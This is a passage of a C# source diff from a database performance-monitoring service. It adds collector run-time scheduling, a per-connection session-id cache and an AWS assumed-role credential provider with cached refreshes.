+                    reader.IsDBNull(0) ? null : reader.GetInt32(0),
+                    reader.GetString(1),
+                    reader.GetInt16(2)));
+            }
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)
+        {
+            logger?.LogDebug("The collector run-time table does not exist in this store yet (below schema version 160): no run times are set.");
+            return Array.Empty<RunTimeOverride>();
+        }
+
+        return rows;
+    }
+
+    /// <summary>
+    /// Layers the run-time rows onto the schedule rows (#4938), one entry per scope and collector. A run time for a scope
+    /// and collector that has a schedule row is carried on that row. One without a schedule row gets an entry of its own
+    /// that sets nothing else: no frequency, no retention, no database scope, and no enabled state (a null
+    /// <see cref="ScheduleOverride.Enabled"/>), so the collector's enabled state still comes from the other levels or its
+    /// default and the entry cannot switch a collector on or off. Pure. The collector name matches without regard to case,
+    /// as the resolver does.
+    /// </summary>
+    public static IReadOnlyList<ScheduleOverride> MergeRunTimes(IReadOnlyList<ScheduleOverride> schedules, IReadOnlyList<RunTimeOverride> runTimes)
+    {
+        if (runTimes is null || runTimes.Count == 0)
+        {
+            return schedules;
+        }
+
+        var merged = new List<ScheduleOverride>(schedules);
+        foreach (var runTime in runTimes)
+        {
+            var carried = false;
+            for (var i = 0; i < merged.Count; i++)
+            {
+                if (merged[i].ServerId == runTime.ServerId
+                    && string.Equals(merged[i].CollectorName, runTime.CollectorName, StringComparison.OrdinalIgnoreCase))
+                {
+                    merged[i] = merged[i] with { RunAtMinute = runTime.RunAtMinute };
+                    carried = true;
+                }
+            }
+
+            if (!carried)
+            {
+                merged.Add(new ScheduleOverride(runTime.ServerId, runTime.CollectorName, null, null, null, null, runTime.RunAtMinute));
+            }
+        }
+
+        return merged;
+    }
+
     /* ---------------- apply (view -> held config, in place) ---------------- */
 
     /// <summary>
@@ -1829,37 +2229,125 @@ config.ComposeStatementTimeoutSeconds would have silently gotten the file value.
 
     /* ---------------- schedule resolution (pure) ---------------- */
 
+    /// <summary>The value of a run time that means "no fixed time on this server": it stops a fleet-wide time.</summary>
+    private const int NoFixedRunTime = -1;
+
+    /// <summary>The last minute of the day, the top of the run-time table's CHECK.</summary>
+    private const int LastRunAtMinute = 1439;
+
+    /// <summary>A stored run time, or null when there is none at that level or it holds a value the table's CHECK would
+    /// refuse (a store whose CHECK was dropped by hand): either way it counts as not set at that level and falls through.
+    /// This runs every sweep and stays silent; <see cref="LogDroppedRunTimes"/> names such a value once per load.</summary>
+    private static int? ValidRunAt(int? minute) =>
+        minute is >= NoFixedRunTime and <= LastRunAtMinute ? minute : null;
+
     /// <summary>
-    /// The effective schedule for one collector on one server: a per-server override wins over a fleet-wide
-    /// override (<c>server_id</c> NULL) wins over the <see cref="CollectorScheduleDefaults"/> code default,
-    /// per column (a NULL override column falls through to the next level). Pure — unit-testable without a store.
+    /// #4938: every configured run time that resolves to none because the collector's effective interval is not a whole
+    /// number of days, one entry per enabled server it was configured for. Judged per server and not per row, because a
+    /// per-server frequency override changes the effective interval: a fleet-wide run time can be fine on one server and
+    /// refused on another. A collector the server's engine never runs is skipped. Pure.
     /// </summary>
-    public static EffectiveSchedule ResolveSchedule(string collectorName, int serverId, IReadOnlyList<ScheduleOverride> overrides)
+    public static IReadOnlyList<DroppedRunTime> FindDroppedRunTimes(IReadOnlyList<MonitoredServer> servers, IReadOnlyList<ScheduleOverride> overrides)
     {
-        var def = CollectorScheduleDefaults.All[collectorName];
+        var dropped = new List<DroppedRunTime>();
+        if (servers is null || overrides is null)
+        {
+            return dropped;
+        }
 
-        ScheduleOverride? perServer = null;
-        ScheduleOverride? fleet = null;
-        if (overrides is not null)
+        var collectors = overrides
+            .Where(o => o.RunAtMinute is >= 0 && CollectorScheduleDefaults.All.ContainsKey(o.CollectorName))
+            .Select(o => o.CollectorName)
+            .Distinct(StringComparer.OrdinalIgnoreCase)
+            .ToList();
+
+        foreach (var name in collectors)
         {
-            foreach (var o in overrides)
+            var definition = CollectorCatalog.Find(name);
+            foreach (var server in servers)
             {
-                if (!string.Equals(o.CollectorName, collectorName, StringComparison.OrdinalIgnoreCase))
+                if (definition is not null && definition.TargetEngine != server.TargetEngine)
                 {
                     continue;
                 }
 
-                if (o.ServerId == serverId)
+                var schedule = ResolveScheduleCore(name, server.ServerId, overrides, out var droppedRunAt, out var fromServerRow);
+                if (droppedRunAt is int minute)
                 {
-                    perServer = o;
-                }
-                else if (o.ServerId is null)
-                {
-                    fleet = o;
+                    dropped.Add(new DroppedRunTime(
+                        name, server.ServerId, server.DisplayName, minute,
+                        CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(schedule.FrequencyMinutes), fromServerRow));
                 }
             }
         }
 
+        return dropped;
+    }
+
+    /// <summary>
+    /// #4938: warns once for each run time <see cref="FindDroppedRunTimes"/> finds, naming the collector, the server and
+    /// the reason, and once for each stored value outside the range the table's CHECK allows, naming the collector, the
+    /// scope and the value. The second cannot happen through SQL (the CHECK refuses it), but a store whose CHECK was dropped
+    /// by hand can hold one, and <see cref="ResolveSchedule"/> then treats it as not set, so the operator is told here
+    /// instead of finding the collector on its old schedule with no word why. Called once per load of the schedules (see
+    /// <see cref="LoadViewAsync"/>), never per sweep.
+    /// </summary>
+    public static void LogDroppedRunTimes(ILogger? logger, IReadOnlyList<MonitoredServer> servers, IReadOnlyList<ScheduleOverride> overrides)
+    {
+        if (logger is null)
+        {
+            return;
+        }
+
+        foreach (var d in FindDroppedRunTimes(servers, overrides))
+        {
+            logger.LogWarning(
+                "Collector run time ignored: collector '{Collector}' on server '{Server}' (id {ServerId}), {Scope} run time {RunAt}. {Reason}",
+                d.CollectorName, d.ServerName, d.ServerId, d.FromServerRow ? "server" : "fleet-wide",
+                CollectorRunTime.Format(d.RunAtMinute), CollectorRunTime.IntervalRefusalMessage(d.CollectorName, d.IntervalMinutes));
+        }
+
+        if (overrides is null)
+        {
+            return;
+        }
+
+        foreach (var o in overrides)
+        {
+            if (o.RunAtMinute is int stored && ValidRunAt(stored) is null)
+            {
+                logger.LogWarning(
+                    "Collector run time ignored: collector '{Collector}', {Scope} run time value {Value} is outside 0 to 1439 minutes after midnight (or -1 on a server), so it counts as not set.",
+                    o.CollectorName, o.ServerId is int serverId ? "server id " + serverId.ToString(System.Globalization.CultureInfo.InvariantCulture) : "fleet-wide", stored);
+            }
+        }
+    }
+
+    /// <summary>
+    /// The effective schedule for one collector on one server: a per-server override wins over a fleet-wide
+    /// override (<c>server_id</c> NULL) wins over the <see cref="CollectorScheduleDefaults"/> code default,
+    /// per column (a NULL override column falls through to the next level). Pure — unit-testable without a store.
+    ///
+    /// <para>#4938: the run time layers the same way, with one more rule. It comes from the run-time table, merged onto the
+    /// rows by <see cref="MergeRunTimes"/> when the schedules load. The server's run time wins when it has one, else the
+    /// fleet's, else none; -1 is "no fixed time" and, on the server's, stops the fleet's value. A value then applies only
+    /// if the collector's effective interval is a whole number of days
+    /// (<see cref="CollectorRunTime.AllowsRunAt"/>, on <see cref="CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes"/>
+    /// so an on-load collector counts as daily); otherwise it resolves to none. That refusal is silent here because this
+    /// runs every sweep: the warning is <see cref="LogDroppedRunTimes"/>, raised once per load.</para>
+    /// </summary>
+    public static EffectiveSchedule ResolveSchedule(string collectorName, int serverId, IReadOnlyList<ScheduleOverride> overrides) =>
+        ResolveScheduleCore(collectorName, serverId, overrides, out _, out _);
+
+    private static EffectiveSchedule ResolveScheduleCore(
+        string collectorName, int serverId, IReadOnlyList<ScheduleOverride>? overrides, out int? droppedRunAt, out bool droppedFromServerRow)
+    {
+        var def = CollectorScheduleDefaults.All[collectorName];
+
+        /* #4999: the rows are picked where every collection-health surface picks them, so a surface that judges a
+           collector against its interval cannot pick a different row than the one this schedules it by. */
+        var (perServer, fleet) = CollectorScheduleDefaults.SelectScheduleOverrides(collectorName, serverId, overrides);
+
         /* Sanitize operator-supplied overrides before they drive scheduling / a destructive purge: a
            negative frequency, a retention < 1 (0 would invert the purge cutoff and wipe the table), or a
            delta-family cadence past the gap-policy cap (#3532 — every cycle would exceed
@@ -1875,7 +2363,21 @@ treated as "no override" and falls through to the next level. Defense in depth w
            to def.DefaultEnabled (not a bare true) is what makes "reset to defaults" — which DELETES the
            override rows — return a default-off collector to OFF instead of silently re-enabling it. */
         var enabled = perServer?.Enabled ?? fleet?.Enabled ?? def.DefaultEnabled;
-        return new EffectiveSchedule(frequency, retention, enabled);
+
+        var layered = ValidRunAt(perServer?.RunAtMinute);
+        var fromServerRow = layered is not null;
+        layered ??= ValidRunAt(fleet?.RunAtMinute);
+        int? runAt = layered is >= 0 ? layered : null;
+        droppedRunAt = null;
+        droppedFromServerRow = false;
+        if (runAt is not null && !CollectorRunTime.AllowsRunAt(CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(frequency)))
+        {
+            droppedRunAt = runAt;
+            droppedFromServerRow = fromServerRow;
+            runAt = null;
+        }
+
+        return new EffectiveSchedule(frequency, retention, enabled, runAt);
     }
 
     /// <summary>
@@ -2000,11 +2502,27 @@ private static List<string> ReadTextArray(NpgsqlDataReader reader, int ordinal)
 /// <see cref="Databases"/> is the V125 per-collector allow-list (#3477): null = the column was NULL
 /// (no scope at this level, fall through), an empty list = the EXPLICIT "no scope" that stops the
 /// fall-through; the null/empty distinction is load-bearing and <see cref="StoreConfigProvider.ResolveDatabaseScope"/>
-/// documents it. Defaulted so every pre-V125 construction reads as "no scope column written".</summary>
-public sealed record ScheduleOverride(int? ServerId, string CollectorName, int? FrequencyMinutes, int? RetentionDays, bool Enabled, IReadOnlyList<string>? Databases = null);
-
-/// <summary>The resolved per-collector schedule (override layered on <see cref="CollectorScheduleDefaults"/>).</summary>
-public sealed record EffectiveSchedule(int FrequencyMinutes, int RetentionDays, bool Enabled);
+/// documents it. Defaulted so every pre-V125 construction reads as "no scope column written". <see cref="RunAtMinute"/>
+/// is the V160 run time (#4938), carried here from <c>config_collector_run_times</c> by
+/// <see cref="StoreConfigProvider.MergeRunTimes"/> and not read from this table: minutes after midnight on the server's
+/// clock, -1 = no fixed time at this level (it stops a fleet-wide time), null = no run time at this level, which falls
+/// through; defaulted for the same reason. <see cref="Enabled"/> is null only on the entry a run time makes for a scope and
+/// collector that has no schedule row: such an entry sets no enabled state, so it falls through like the other nulls.</summary>
+public sealed record ScheduleOverride(int? ServerId, string CollectorName, int? FrequencyMinutes, int? RetentionDays, bool? Enabled, IReadOnlyList<string>? Databases = null, int? RunAtMinute = null) : IScheduleFrequencyOverride;
+
+/// <summary>One row of <c>config_collector_run_times</c> (#4938): a run time for a collector, fleet-wide when
+/// <see cref="ServerId"/> is null. <see cref="RunAtMinute"/> is minutes after midnight on the server's clock, or -1 on a
+/// server's row for "no fixed time on this server".</summary>
+public sealed record RunTimeOverride(int? ServerId, string CollectorName, int RunAtMinute);
+
+/// <summary>The resolved per-collector schedule (override layered on <see cref="CollectorScheduleDefaults"/>).
+/// <see cref="RunAtMinute"/> is the collector's run time in minutes after midnight on the server's clock, or null when it
+/// has none (#4938); a value is present only where the effective interval is a whole number of days.</summary>
+public sealed record EffectiveSchedule(int FrequencyMinutes, int RetentionDays, bool Enabled, int? RunAtMinute = null);
+
+/// <summary>One configured run time that resolves to none for a server, because the collector's effective interval there is
+/// not a whole number of days (#4938). <see cref="FromServerRow"/> says which row set it: the server's or the fleet-wide one.</summary>
+public sealed record DroppedRunTime(string CollectorName, int ServerId, string ServerName, int RunAtMinute, int IntervalMinutes, bool FromServerRow);
 
 /// <summary>
 /// The in-memory snapshot of the <c>config.*</c> tables the worker applies on a reload. Sub-configs are
diff --git a/Darling/PerformanceMonitor.Darling.Service/TargetSessionIdCache.cs b/Darling/PerformanceMonitor.Darling.Service/TargetSessionIdCache.cs
new file mode 100644
index 0000000000..a6657e8d65
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/TargetSessionIdCache.cs
@@ -0,0 +1,213 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+
+using System;
+using System.Collections.Generic;
+using System.Data.Common;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The monitored target's session id for a collector run (#5132), cached per physical connection.
+///
+/// <para><b>Why a cache.</b> The product connection string turns on MultipleActiveResultSets, and with it
+/// on <c>SqlConnection.ServerProcessId</c> is 0 at every point — after open, with a reader open, after the
+/// reader closes, after a later round trip, after pool reuse — so the property alone yields nothing on SQL
+/// Server. <c>ClientConnectionId</c> is stable across pool reuse, so it names the physical connection; the
+/// first run on a physical connection asks <c>SELECT @@SPID</c> once and every later run on it reuses the
+/// answer. The cost is one lookup per new physical connection, not one per run.</para>
+///
+/// <para>Best-effort: any failure yields null (the store's NOT RECORDED), is logged at Debug and is never
+/// cached, so the next run tries again. PostgreSQL reads <c>NpgsqlConnection.ProcessID</c>, which is
+/// populated by the handshake.</para>
+/// </summary>
+internal sealed class TargetSessionIdCache
+{
+    /// <summary>The most physical connections remembered; the oldest entry is evicted past this.</summary>
+    internal const int Capacity = 4096;
+
+    /// <summary>
+    /// Deadline for the one-off lookup. Same value as the connect probe's: a healthy server answers
+    /// <c>SELECT @@SPID</c> in a millisecond, so anything slower is a target not worth waiting on.
+    /// </summary>
+    internal const int LookupTimeoutSeconds = ConnectionFaultDisposition.ProbeSeconds;
+
+    /// <summary>The process-wide instance the collector runner uses.</summary>
+    internal static TargetSessionIdCache Shared { get; } = new(Capacity);
+
+    private readonly object _gate = new();
+    private readonly Dictionary<Guid, int> _byConnection = new();
+    private readonly Queue<Guid> _order = new();
+    private readonly int _capacity;
+    private long _lookups;
+
+    internal TargetSessionIdCache(int capacity)
+    {
+        ArgumentOutOfRangeException.ThrowIfLessThan(capacity, 1);
+        _capacity = capacity;
+    }
+
+    /// <summary>How many times a lookup was actually issued (cache misses), for tests and diagnostics.</summary>
+    internal long LookupCount => Interlocked.Read(ref _lookups);
+
+    /// <summary>Entries currently held.</summary>
+    internal int Count
+    {
+        get
+        {
+            lock (_gate)
+            {
+                return _byConnection.Count;
+            }
+        }
+    }
+
+    /// <summary>
+    /// The session id for an OPEN connection, before any reader exists on it (a second command on a MARS
+    /// connection is fine, but the lookup belongs ahead of the collector's own work), with the
+    /// <c>ClientConnectionId</c> the answer is filed under. Spid is null when unknown.
+    /// </summary>
+    internal async Task<(int? Spid, Guid Key)> ResolveAsync(DbConnection connection, ILogger? logger, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        switch (connection)
+        {
+            case NpgsqlConnection npgsql:
+                return (npgsql.ProcessID > 0 ? npgsql.ProcessID : null, Guid.Empty);
+
+            case SqlConnection sql:
+                if (sql.ServerProcessId > 0)
+                {
+                    return (sql.ServerProcessId, sql.ClientConnectionId);
+                }
+
+                return await ResolveAsync(
+                    sql.ClientConnectionId,
+                    async ct =>
+                    {
+                        using var command = new SqlCommand("SELECT @@SPID;", sql) { CommandTimeout = LookupTimeoutSeconds };
+                        var value = await command.ExecuteScalarAsync(ct).ConfigureAwait(false);
+                        return Convert.ToInt32(value, System.Globalization.CultureInfo.InvariantCulture);
+                    },
+                    logger,
+                    cancellationToken,
+                    () => sql.ClientConnectionId).ConfigureAwait(false);
+
+            default:
+                return (null, Guid.Empty);
+        }
+    }
+
+    /// <summary>
+    /// Forgets one physical connection's answer, for a connection that turned out to have been replaced
+    /// after it was resolved.
+    /// </summary>
+    internal void Evict(Guid connectionId)
+    {
+        lock (_gate)
+        {
+            if (_byConnection.Remove(connectionId))
+            {
+                var kept = new Queue<Guid>();
+                foreach (var queued in _order)
+                {
+                    if (queued != connectionId)
+                    {
+                        kept.Enqueue(queued);
+                    }
+                }
+
+                _order.Clear();
+                foreach (var queued in kept)
+                {
+                    _order.Enqueue(queued);
+                }
+            }
+        }
+    }
+
+    /// <summary>
+    /// True, after evicting <paramref name="keyAtOpen"/>, when the connection's current id differs from the
+    /// one the session id was resolved under: SqlClient replaced the physical connection (idle connection
+    /// resiliency) and the session id belongs to the old one. A property comparison, no round trip.
+    /// </summary>
+    internal bool DiscardIfReplaced(Guid keyAtOpen, Guid currentKey)
+    {
+        if (keyAtOpen == Guid.Empty || keyAtOpen == currentKey)
+        {
+            return false;
+        }
+
+        Evict(keyAtOpen);
+        return true;
+    }
+
+    /// <summary>
+    /// The cache core: a hit returns without calling <paramref name="lookup"/>; a miss calls it once and
+    /// stores a positive answer under the id <paramref name="keyAfterLookup"/> reports once the lookup has
+    /// run (the id the connection carries NOW, since a transparent reconnect during the command gives the
+    /// answer to the new physical connection), defaulting to <paramref name="connectionId"/>. A throw or a
+    /// non-positive answer yields a null Spid and stores nothing. A real cancellation propagates.
+    /// </summary>
+    internal async Task<(int? Spid, Guid Key)> ResolveAsync(
+        Guid connectionId, Func<CancellationToken, Task<int>> lookup, ILogger? logger, CancellationToken cancellationToken,
+        Func<Guid>? keyAfterLookup = null)
+    {
+        ArgumentNullException.ThrowIfNull(lookup);
+
+        if (connectionId == Guid.Empty)
+        {
+            return (null, Guid.Empty);
+        }
+
+        lock (_gate)
+        {
+            if (_byConnection.TryGetValue(connectionId, out var cached))
+            {
+                return (cached, connectionId);
+            }
+        }
+
+        try
+        {
+            Interlocked.Increment(ref _lookups);
+            var spid = await lookup(cancellationToken).ConfigureAwait(false);
+            var key = keyAfterLookup?.Invoke() ?? connectionId;
+            if (spid <= 0 || key == Guid.Empty)
+            {
+                return (null, key);
+            }
+
+            lock (_gate)
+            {
+                if (_byConnection.TryAdd(key, spid))
+                {
+                    _order.Enqueue(key);
+                    while (_byConnection.Count > _capacity && _order.TryDequeue(out var oldest))
+                    {
+                        _byConnection.Remove(oldest);
+                    }
+                }
+            }
+
+            return (spid, key);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException || !cancellationToken.IsCancellationRequested)
+        {
+            logger?.LogDebug(ex, "Target session id lookup failed; the run records none (#5132)");
+            return (null, connectionId);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/AwsAssumedRoleCredentials.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsAssumedRoleCredentials.cs
new file mode 100644
index 0000000000..31b83f4c10
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsAssumedRoleCredentials.cs
@@ -0,0 +1,441 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Amazon;
+using Amazon.Runtime;
+using Amazon.Runtime.Credentials;
+using Amazon.SecurityToken;
+using Amazon.SecurityToken.Model;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitor.Darling.Service.Targets;
+
+/// <summary>
+/// AWS credentials for one assumed role (#5452): the credentials STS hands back for an <see cref="AwsRoleKey"/>,
+/// refreshed before they expire. One instance serves every client for that key, so many short-lived RDS and
+/// Performance Insights clients share one STS call per refresh. It is our own class, not the SDK's
+/// <c>AssumeRoleAWSCredentials</c>: that one calls STS in the process's own region (the wrong partition for an
+/// aws-cn or aws-us-gov target), finds STS by reflection (no seam for a fake), and ends its background refresh in an
+/// unobserved exception.
+///
+/// <para><b>Serving.</b> Credentials that are still valid are served at once and never wait on a refresh: past the
+/// refresh point one caller takes the gate with a zero-wait try (<c>WaitAsync(0)</c>) and refreshes, and every other
+/// caller keeps using the credentials it already has. Only a caller with nothing valid to use waits on the gate, and
+/// re-checks inside it, so a burst makes one STS call. The refresh point is 15 minutes before expiry, but never sooner
+/// than <see cref="MinimumRefreshInterval"/> after the credentials were received.</para>
+///
+/// <para><b>Expiry is receipt time plus <see cref="DurationSeconds"/>.</b> The response's own <c>Expiration</c> is
+/// not read: it is a time on AWS's clock, compared here against the host's, and it can be absent. The same rule applies
+/// when it is null.</para>
+///
+/// <para><b>Failure.</b> A failed refresh is turned into an <see cref="AwsRoleAssumeException"/> (the external ID is
+/// scrubbed, the SDK exception is dropped) and remembered for <see cref="FailureCacheSeconds"/> seconds, so a denied
+/// role costs STS at most one call a minute. During that time a caller gets the old credentials if they have more than
+/// a minute left, and otherwise a NEW exception made from the remembered facts: the same instance is never thrown
+/// twice. The cached failure belongs to the region it happened in; a call from another region of the same role tries
+/// again. The call is bounded: the STS client has a timeout and a retry limit, and the whole refresh runs under a
+/// deadline.</para>
+///
+/// <para><b>Region.</b> A refresh calls STS in the region of the call that triggered it, so the endpoint is in the
+/// target's own partition (the SDK has no global STS endpoint to fall back on in 4.0.101.1). Session tokens from
+/// regional STS are valid in every region of the partition, so the credentials serve targets in any of them.
+/// <see cref="ForRegion"/> binds a region to a handle the SDK client can hold.</para>
+///
+/// <para><b>The source.</b> The credentials that call STS come from the default chain (<c>AWS_PROFILE</c>, the
+/// environment, the instance role), read again at every refresh so a rotated source is picked up. They are resolved
+/// BEFORE the call, so "the host has no credentials" is told apart from "STS refused".</para>
+/// </summary>
+[System.Diagnostics.CodeAnalysis.SuppressMessage("Design", "CA1001:Types that own disposable fields should be disposable",
+    Justification = "The gate is a SemaphoreSlim that is only waited on with WaitAsync, which never creates its kernel wait handle, so there is nothing to release; the cache drops entries with no disposal point.")]
+public sealed class AwsAssumedRoleCredentials : AWSCredentials
+{
+    /// <summary>How long each assumed-role session lasts. One hour also fits role chaining, which AWS caps at one hour.</summary>
+    public const int DurationSeconds = 3600;
+
+    /// <summary>How long before expiry a refresh starts.</summary>
+    public static readonly TimeSpan RefreshLead = TimeSpan.FromMinutes(15);
+
+    /// <summary>The soonest a refresh may start after credentials were received.</summary>
+    public static readonly TimeSpan MinimumRefreshInterval = TimeSpan.FromMinutes(1);
+
+    /// <summary>How long a failed refresh is remembered.</summary>
+    public const int FailureCacheSeconds = 60;
+
+    /// <summary>Old credentials must have more than this left to be served while a failure is remembered.</summary>
+    public static readonly TimeSpan MinimumServedLife = TimeSpan.FromMinutes(1);
+
+    /// <summary>The longest one STS refresh may take, retries included.</summary>
+    public static readonly TimeSpan RefreshDeadline = TimeSpan.FromSeconds(30);
+
+    /// <summary>The STS client's HTTP timeout.</summary>
+    public static readonly TimeSpan StsTimeout = TimeSpan.FromSeconds(10);
+
+    /// <summary>How many times the STS client retries an error that can be retried.</summary>
+    public const int StsMaxErrorRetry = 1;
+
+    /// <summary>The session name used when the store's install id is not known.</summary>
+    public const string FallbackSessionName = "darling-collector";
+
+    private static readonly TimeSpan FailureCacheTtl = TimeSpan.FromSeconds(FailureCacheSeconds);
+
+    private readonly Func<RegionEndpoint, AWSCredentials, IAmazonSecurityTokenService> _stsFactory;
+    private readonly Func<RegionEndpoint, Task<AWSCredentials>> _source;
+    private readonly Func<string?>? _installId;
+    private readonly TimeProvider _clock;
+    private readonly TimeSpan _refreshDeadline;
+    private readonly ILogger? _logger;
+    private readonly SemaphoreSlim _gate = new(1, 1);
+    private volatile Grant? _grant;
+    private volatile Failure? _failure;
+    private volatile RegionEndpoint _lastRegion;
+
+    /// <param name="key">The role and external ID.</param>
+    /// <param name="defaultRegion">The STS region for a call that names none: the SDK's own, parameterless
+    /// <c>GetCredentialsAsync()</c>. <see cref="ForRegion"/> overrides it per call.</param>
+    /// <param name="stsFactory">Builds the STS client from a region and the source credentials. Default: a real client
+    /// with <see cref="CreateStsConfig"/>.</param>
+    /// <param name="source">The credentials that call STS, for a region. Default: the SDK's default chain.</param>
+    /// <param name="installId">The store's install id, for the session name. Read at each refresh.</param>
+    /// <param name="clock">The clock the expiry arithmetic reads. Default: the system clock.</param>
+    /// <param name="refreshDeadline">The longest one refresh may take. Default: <see cref="RefreshDeadline"/>.</param>
+    /// <param name="logger">Gets one warning line for each failed refresh, with the already-scrubbed message.</param>
+    public AwsAssumedRoleCredentials(
+        AwsRoleKey key,
+        RegionEndpoint defaultRegion,
+        Func<RegionEndpoint, AWSCredentials, IAmazonSecurityTokenService>? stsFactory = null,
+        Func<RegionEndpoint, Task<AWSCredentials>>? source = null,
+        Func<string?>? installId = null,
+        TimeProvider? clock = null,
+        TimeSpan? refreshDeadline = null,
+        ILogger? logger = null)
+    {
+        ArgumentException.ThrowIfNullOrWhiteSpace(key.RoleArn);
+        ArgumentNullException.ThrowIfNull(defaultRegion);
+        Key = key;
+        _lastRegion = defaultRegion;
+        _stsFactory = stsFactory ?? DefaultStsFactory;
+        _source = source ?? DefaultSource;
+        _installId = installId;
+        _clock = clock ?? TimeProvider.System;
+        _refreshDeadline = refreshDeadline ?? RefreshDeadline;
+        _logger = logger;
+    }
+
+    /// <summary>The role and external ID these credentials are for.</summary>
+    public AwsRoleKey Key { get; }
+
+    /// <summary>The credentials for this role, refreshed on demand, STS called in the default region.</summary>
+    public override ImmutableCredentials GetCredentials() => GetCredentialsAsync().GetAwaiter().GetResult();
+
+    /// <inheritdoc cref="GetCredentials"/>
+    public override Task<ImmutableCredentials> GetCredentialsAsync() => GetCredentialsAsync(_lastRegion, CancellationToken.None);
+
+    /// <summary>A handle to hand an SDK client: it serves these credentials and refreshes in <paramref name="stsRegion"/>.</summary>
+    public AWSCredentials ForRegion(RegionEndpoint stsRegion)
+    {
+        ArgumentNullException.ThrowIfNull(stsRegion);
+        _lastRegion = stsRegion;
+        return new RegionHandle(this, stsRegion);
+    }
+
+    /// <summary>
+    /// The session name for an install id: <c>darling-</c> and the first 12 hex digits of the id (the whole id when it
+    /// has fewer, down to the store's 8), lowercase, hyphens removed (at most 20 characters, inside AWS's
+    /// <c>[\w+=,.@-]{2,64}</c>). CloudTrail in the role's account then shows which Darling installation assumed the
+    /// role, without the host's machine name. An id with fewer than 8 hex digits, or with anything else in it, gives
+    /// <see cref="FallbackSessionName"/>.
+    /// </summary>
+    public static string SessionNameFor(string? installId)
+    {
+        if (string.IsNullOrWhiteSpace(installId))
+        {
+            return FallbackSessionName;
+        }
+
+        var hex = installId.Trim().Replace("-", string.Empty, StringComparison.Ordinal).ToLowerInvariant();
+        if (hex.Length < 8)
+        {
+            return FallbackSessionName;
+        }
+
+        foreach (var c in hex)
+        {
+            if (!(c is >= '0' and <= '9' || c is >= 'a' and <= 'f'))
+            {
+                return FallbackSessionName;
+            }
+        }
+
+        return "darling-" + hex[..Math.Min(12, hex.Length)];
+    }
+
+    /// <summary>
+    /// The STS client settings for a region: the regional endpoint (a global one does not exist in this SDK), a
+    /// bounded HTTP timeout and a small retry limit.
+    /// </summary>
+    internal static AmazonSecurityTokenServiceConfig CreateStsConfig(RegionEndpoint region) => new()
+    {
+        RegionEndpoint = region,
+        Timeout = StsTimeout,
+        MaxErrorRetry = StsMaxErrorRetry,
+    };
+
+    /// <summary>Serves the cached credentials, or refreshes them in <paramref name="stsRegion"/> when they are due.</summary>
+    public async Task<ImmutableCredentials> GetCredentialsAsync(RegionEndpoint stsRegion, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(stsRegion);
+
+        var now = _clock.GetUtcNow();
+        var grant = _grant;
+        if (grant is not null && now < grant.RefreshAt)
+        {
+            return grant.Credentials;
+        }
+
+        if (RememberedFailureFor(stsRegion, now) is { } early)
+        {
+            return ServeOrThrow(grant, early, now);
+        }
+
+        /* Past the refresh point but still valid: try the gate without waiting, and let the loser use what it has. */
+        if (grant is not null && now < grant.ValidUntil)
+        {
+            if (!await _gate.WaitAsync(0, CancellationToken.None).ConfigureAwait(false))
+            {
+                return grant.Credentials;
+            }
+        }
+        else
+        {
+            /* A caller with nothing valid waits for the refresh in progress, and no longer than that refresh may take. */
+            using var gateWait = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
+            gateWait.CancelAfter(_refreshDeadline);
+            try
+            {
+                await _gate.WaitAsync(gateWait.Token).ConfigureAwait(false);
+            }
+            catch (OperationCanceledException) when (!cancellationToken.IsCancellationRequested)
+            {
+                throw AwsRoleAssumeException.ForTimeout(Key, stsRegion.SystemName, _refreshDeadline);
+            }
+        }
+
+        try
+        {
+            now = _clock.GetUtcNow();
+            grant = _grant;
+            if (grant is not null && now < grant.RefreshAt)
+            {
+                return grant.Credentials;
+            }
+
+            if (RememberedFailureFor(stsRegion, now) is { } inside)
+            {
+                return ServeOrThrow(grant, inside, now);
+            }
+
+            try
+            {
+                var fresh = await RefreshAsync(stsRegion, cancellationToken).ConfigureAwait(false);
+                _grant = fresh;
+                _failure = null;
+                return fresh.Credentials;
+            }
+            catch (AwsRoleAssumeException failure)
+            {
+                var remembered = new Failure(_clock.GetUtcNow(), stsRegion.SystemName, failure);
+                _failure = remembered;
+                _logger?.LogWarning("{Message}{Detail}", failure.Message,
+                    string.IsNullOrEmpty(failure.SourceDetail) ? string.Empty : " SDK detail (service log only): " + failure.SourceDetail);
+                return ServeOrThrowFirst(grant, failure, _clock.GetUtcNow());
+            }
+        }
+        finally
+        {
+            _gate.Release();
+        }
+    }
+
+    private Failure? RememberedFailureFor(RegionEndpoint region, DateTimeOffset now)
+    {
+        var failure = _failure;
+        return failure is not null
+            && string.Equals(failure.Region, region.SystemName, StringComparison.Ordinal)
+            && now < failure.At + FailureCacheTtl
+                ? failure
+                : null;
+    }
+
+    /// <summary>Old credentials with more than a minute left, or a new exception made from the remembered failure.</summary>
+    private ImmutableCredentials ServeOrThrow(Grant? old, Failure failure, DateTimeOffset now)
+    {
+        if (old is not null && now < old.ValidUntil - MinimumServedLife)
+        {
+            return old.Credentials;
+        }
+
+        throw failure.ToException(Key);
+    }
+
+    /// <summary>Like <see cref="ServeOrThrow"/>, but the first throw is the exception the refresh just made.</summary>
